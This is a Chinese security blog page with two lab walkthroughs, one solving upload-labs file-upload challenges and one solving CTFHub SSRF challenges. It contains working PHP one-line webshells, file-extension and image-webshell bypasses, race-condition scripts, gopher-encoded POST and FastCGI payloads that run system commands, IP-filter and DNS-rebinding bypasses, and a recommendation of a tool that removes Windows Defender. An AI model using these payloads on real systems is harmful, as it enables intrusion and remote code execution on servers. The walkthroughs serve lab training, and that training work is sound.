首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,166 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,260 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,592 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
70
篇与
的结果
2025-05-18
upload-labs通关全教程Web安全-文件上传漏洞超详细解析
不多废话,直接上理论呛死你(❍ᴥ❍ʋ)什么是文件上传漏洞?环境靶场:upload-labs服务器:centos7数据库:mysql5.7php:5.5nginx:1.24在开始之前先介绍一款windows defender卸载工具,提高渗透效率,不然文件上传成功就被杀了,文章在这儿,使用方法和下载链接很详细https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w漏洞简介文件上传漏洞通常发生在程序设计中,由于对用户上传文件的处理不当或存在缺陷,导致用户能够绕过权限限制,向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在,但服务器对上传文件的处理和解释方式不当,可能会引发严重后果。高危触发点在任何提供文件上传功能的应用中,都可能存在文件上传漏洞的风险,例如在相册、头像上传、视频和照片分享等场景中。此外,论坛发帖和电子邮件附件上传等功能,也是文件上传漏洞的高风险区域。同样,文件管理器等工具也可能成为攻击者利用的目标。注意:移动设备同样面临着文件上传漏洞的威胁。漏洞复现upload-labs(1-21关)第一关(前端验证)由于靶场配置必须要使用php5.2版本才能正常运行,建议去https://fofa.info/找到描述为upload-labs的ip地址进入即可在开始闯关之前我们需要用到一句话木马,php文件代码如下<?php @eval($_POST['shell']);?>第一关因为是进行前端JS校验,分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件。但是更改为return true之后还是在提示文件类型不正确这时候我们把js复制下来,打开浏览器控制台,并回车,直接重置checkFile()这个同名函数,使js执行俩次。上传成功。使用中国蚁剑测试,连接密码就是你php post请求的shell参数第二种方法就是禁用浏览器的javascript木马上传成功第二关(MIME验证)使用抓包工具,抓到了包,第一关是抓不到的,我们把上传的jpg文件修改为php即可上传成功第三关(黑名单验证,特殊后缀)将文件后缀修改为php1,php2即可不过需要注意,上传成功后文件名称改变了第四关(黑名单验证,.htaccess)通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名,我们可以上传一个htaccess文件,让文件所在位置的目录下文件被php解析。使用前提要在apache下的httpd.conf文件更改。启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。打开httpd.conf文件用文本编辑器打开后,查找更改为重启Apache,上传.htaccess文件,然后再上传phpinfo的jpg文件.htaccess文件内容如下setHandler application/x-httpd-php复现失败!(。◕ ∀ ◕。) ,哈哈哈哈,好像要特定的环境,自己去找找资料吧,小编我也找了好久没出来。不急,还有第二种发方法,windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容不愧是中国蚂蚁,over!第五关(黑名单验证,.user.ini.)和第四关一样php. .第六关(黑名单验证,大小写绕过)这一关同样是后端黑名单,.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单把.php 格式改为.Php上传上去之后,就会自动解析为.注意上传成功后的真实的文件地址。第七关(黑名单验证,空格绕过)仔细分析源代码,容易发现代码中并没有把空格去掉$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }使用burp suite劫持包在文件后缀添加一个空格,上payload,filename="myscript.php "上传成功第八关(黑名单验证,点号绕过)这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即scirpt.php.。第九关(黑名单验证,特殊字符::$DATA绕过)php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。第十关(黑名单)分析源码,源码中使用deldot()函数,即字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。提示:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来echo deldot("hello world")."n"; echo deldot("hello world.")."n"; echo deldot("hello world....")."n"; echo deldot("hello.world.")."n"; //输出结果为 hello world hello world hello world hello.world第十关源码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }第十一关(黑名单验证,双写绕过)str_ireplace 是 PHP 中的一个函数,它用于将字符串中的某些部分替换为其他字符串,并且对大小写不敏感。$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }通过源码我们可以发现,他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="info.pphphp"。上传成功第十二关(get00截断)这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。第十三关(post 00截断)使用00截断的几个前提条件:PHP版本 < 5.3.4magic_quotes_gpc关闭。如果启用了magic_quotes_gpc,PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符,这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。第十四关(图片马unpack)源码通过分析上传文件的前两个字节来识别其类型,并据此重命名文件。我们使用cmd命令opy 777.avif/b + zoe.php pass14.avif创建了一个隐藏PHP代码的图片文件。用文档打开2.jpg,发现合并成功。上传此图片木马后,并且通过文件包含漏洞触发并执行其中的PHP代码,而包含页面的链接已经给出。下面这段代码中通过获取URL中的file参数,进行文件包含。执行图片文件。出现如下错误问题显示在行8,我们去查看一下第八行是什么内容。<?这个符号,不就是php的脚本符号嘛,把它删掉,再次包含执行jpg文件文件包含执行成功,此时即可使用中国蚂蚁连接第十五关(getimagesize图片马)分析源码function isImage($filename){ $types = '.jpeg|.avif|.gif'; if(file_exists($filename)){ //获取图片的尺寸信息 $info = getimagesize($filename); //检查前俩个字节是否输入图片 $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }我们发现仅仅只做了图片的判断,并没有对我们图片马,进行限制。所以照样可以用14关的通关方法,进行getshell第十六关(exif_imagetype图片马)分析源码//进行文件类型判断 function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }也是一样进行文件类型判断,没有对图片马进行判断,照样可以使用第14关的绕过方法。第十七关(二次渲染绕过)在这一环节,上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。注意:对于做文件上传之二次渲染建议用GIF图片,这里小编为大家准备了一个GIF马,大家自行提取百度网盘提取码:1212 https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212上传指定马后使用中国蚂蚁连接。连接成功第十八关(条件竞争一)查看提示审计代码$is_upload = false; $msg = null; if(isset($_POST['submit'])){ //定义一个数组,用来保存允许上传图片的后缀 $ext_arr = array('jpg','png','gif'); //获取文件名称 $file_name = $_FILES['upload_file']['name']; //临时文件 $temp_file = $_FILES['upload_file']['tmp_name']; //使用substr截取文件后缀 $file_ext = substr($file_name,strrpos($file_name,".")+1); //上传的文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; //将临时的文件,移动到新位置。 if(move_uploaded_file($temp_file, $upload_file)){ //如果问及那的后缀在数组ext_arr中就上传图片 if(in_array($file_ext,$ext_arr)){ //定义图片上传路径名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //修改文件名称,为上传路径名 rename($upload_file, $img_path); //上传 $is_upload = true; }else{ $msg = "只允许上传.jpg|.avif|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }通过分析,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。将一句话代码更改为如下内容。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder清除所有的payload提示:进行下一步操作前,千万要注意,就是不要把BP的拦截功能关闭了,要一直保持拦截状态,才有更好的效果。接着设置无限发送空的Payloads,来让它一直上传该文件最后建议这里把线程设置高一点,提高练习渗透效率然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件)import requests def main(): url='http://192.168.209.131/upload/myscript.php' while True: res = requests.get(url) print('未找到php文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()开始攻击了在BP攻击的同时我们也要运行python脚本,目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。测试连接,over!第十九关(条件竞争二)上传GIF测试发现路径少了一个/,应该是开发者少添加了一个斜杠,去服务器把源文件改下从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。建立一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>制作图片马上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)注意上传的是图片马就行。python脚本import requests def main(): url='http://192.168.209.131/upload/pass19.avif' while True: res = requests.get(url) print('未找到png文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()过程参考第十八关。注意蚂蚁连接的文件是注入的一句话木马创建的文件。第二十关(黑名单)有俩种方法,使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。在php中move_uploaded_file有一个特性修改上传文件名称为upload-19.php/.上传成功蚂蚁宝宝测试,over!第二十一关这一关是利用数组绕过验证上传成功后观察上传成功的URL,多了个jpg那么我们使用第二个数组呢,岂不是就变为xxx.php.了查看上传成功的URL上传成功!总结文件上传漏洞通常源于Web应用未对上传文件进行严格校验,导致恶意用户可能上传执行脚本,从而控制应用。通过upload-labs等实战平台,可以学习多种防护和绕过技巧。防御措施包括:隐藏上传文件路径,避免暴露。禁止上传文件的执行权限。实施文件类型白名单和黑名单策略。重命名上传文件,降低被猜测的风险。对上传文件进行内容二次处理。检查文件内容,确保安全。根据系统特性,定制化安全防护策略。欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢阅读!原文链接https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg
2025年05月18日
1,455 阅读
0 评论
0 点赞
2025-05-18
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御
什么是SSRF?即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。它的危害SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤,攻击者就可以利用这一点来发起恶意请求。例如,如果一个应用程序允许用户输入一个URL来下载文件,攻击者可能会输入指向内部服务器的URL,从而访问或者下载内部文件。如何防御?验证所有用户输入,确保它们是合法的和预期的。限制可访问的URL或资源,避免访问内部网络或敏感资源。使用白名单机制,只允许访问预定义的、安全的URL。对于敏感操作,实施额外的安全措施,如身份验证和授权检查。SSRF漏洞复现靶场:CTFHub,Pikachu内网访问开启环境后,查看题目条件,找出位于127.0.0.1的flag.php页面什么也没有根据题目要求尝试使用这个url参数,进行内网访问,但是页面什么也没有仔细观察url参数前面有一个_,将它删掉试试,测试成功伪协议读取文件常见的伪协议类型有file:///dict://sftp://ldap://tftp://gopher://这里我们用到的是file:/// --本地文件传输协议,主要用来访问本地计算机中的文件,构造payload如下。/?url=file:///var/www/html/flag.php鬼的,他就三个?对于刚入门的小白,我懵逼了。。。。直到几分钟后我查看了他的源码。emmmm,这不就是我们的结果嘛,这关过了端口扫描题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦截取到请求包之后发送到攻击器(Intruder)添加payload,这里只有一个需要爆破,所以攻击方式选狙击手设置payload为数值型,因为需要扫描的端口是8000-9000,所以payload配置如下验证匹配结果,并开始攻击端口爆破成功,成功找到flag,端口为8248尝试使用浏览器访问内网的8248端口,成功!Gopher协议的利用定义:Gopher是早期的Internet信息检索系统,通过索引将用户引导至不同资源,主要使用TCP 70端口。在WWW普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议POST题目:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年这个题目中呢有这么一个文件,在127.0.0.1中的flag.php当我尝试输入了各种值,抓包分析,直到我查看了源码。。这里有一个key,还是被注释了的,不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be,尝试使用file协议查看php源码,访问默认web目录var/www/html/flag.php,即?url=file:///var/www/html/flag.php这时候即可查看源码,尝试进行分析 <?php //关闭所有的错误报告 error_reporting(0); //判断请求的ip地址是否是127.0.0.1 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //如果不是127.0.0.1,就返回这段字符串 echo "Just View From 127.0.0.1"; return; } //falg的获取 $flag=getenv("CTFHUB"); $key = md5($flag); //判断post请求中是否存在key这个参数,key就是刚刚页面上看到的注释的值 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>每个项目中默认主页都是index,这是一个php靶场,那么这首页就是index.php/?url=file:///var/www/html/index.php访问之后是个空页面,但是查看网页源码会发现,尝试分析一下源码<?php //关闭错误报告 error_reporting(0); //判断url参数是否存在 if (!isset($_REQUEST['url'])){ //不存在就跳转到当前根目录 header("Location: /?url=_"); exit; } //初始化curl $ch = curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //告诉curl不返回http头,只返回http正文 curl_setopt($ch, CURLOPT_HEADER, 0); //允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击构造POST请求包访问flag.php查看源码找到key,并输入到输入框,使用bp拦截尝试使用Gopher 协议向服务器发送 POST 包在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有。key值为自己所获得的。在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。所以我们需要对构造的请求包进行两次编码:第一次解码将解码的结果复制下来,保存在txt文档中,其中需要将%0A替换成 %0D%0A因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果替换完成之后,再次进行url编码,这里的url就是源码中的curl要执行的//使用gopher协议,构造payload ?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)得到结果!上传文件题目:这次需要上传一个文件到flag.php了.祝你好运访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。这个时候就可以提交了,但是没有任何内容。我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php<?php error_reporting(0); //判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 判断文件是否存在 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>构造自己的post上传文件请求包POST /flag.php HTTP/1.1 Host: challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Length: 231 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryCkYhfsFblAQSYePb Content-Disposition: form-data; name="file"; filename="myscript.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']);?> ------WebKitFormBoundaryCkYhfsFblAQSYePb-- gopher协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)前面忘记补充了gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议得到伪造payload:?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--得到结果(´。✪ω✪。`)FastCGI协议介绍FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。详细见 https://blog.csdn.net/mysteryflower/article/details/94386461CTFHub漏洞复现题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。git clone https://github.com/tarunkant/Gopherus.git然后使用python2执行这个脚本这里的cat /f*命令就是漏洞利用,获取flag返回的请求内容,这是我的payloadgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00编码之后的结果gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500进行注入,得到flag,(。◕ ∀ ◕。)Redis协议题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!本关还是使用Gopherus脚本尝试使用漏洞file协议读取shell.php?url=file:///var/www/html/shell.php一句话木马上传成功然后访问shell.php使用中国大蚂蚁打开终端,使用find命令查找flag*find / -name flag*这里我的结果在最后一行cat查看内容 ⁙ὸ‿ό⁙URL Bypass原理先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。参考 https://segmentfault.com/a/1190000021968717漏洞复现看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧我们可以使用HTTP 基本身份认证绕过: HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com形式,这里介绍一些常用绕过方式1.最常用的@绕过 url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的 2.?号绕过 url=http://www.aaaa.com?www.xxx.com 3.#绕过 url=http://www.aaaa.com#www.xxx.com 4.斜杠/绕过 url=http://www.aaaa.com/www.xxx.com 等等等等paload如下:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php(´•ω•`๑)数字IP Bypass题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下成功,验证了我的想法,既然localhost可以,转换为16进制试试看,payload如下?url=0x7f000001/flag.php八进制:0177.000.000.001十进制:127.0.0.1十六进制:0x7f000001既然也可以!!分析下源码吧?url=file:///var/www/html/flag.php<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");分析下源码吧?url=file:///var/www/html/index.php<?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过302跳转 Bypass和上一题一样,可以使用localhost进行绕过,过DNS重绑定关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助必看原理https://zhuanlan.zhihu.com/p/89426041尝试payload进行访问?url=127.0.0.1/flag.php我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html构造payload?url=7f000001.7f000002.rbndr.us/flag.phpSSRF完成,꒰#’ω`#꒱੭!原文链接:https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw
2025年05月18日
1,126 阅读
0 评论
0 点赞
2025-05-18
伪静态注入总结
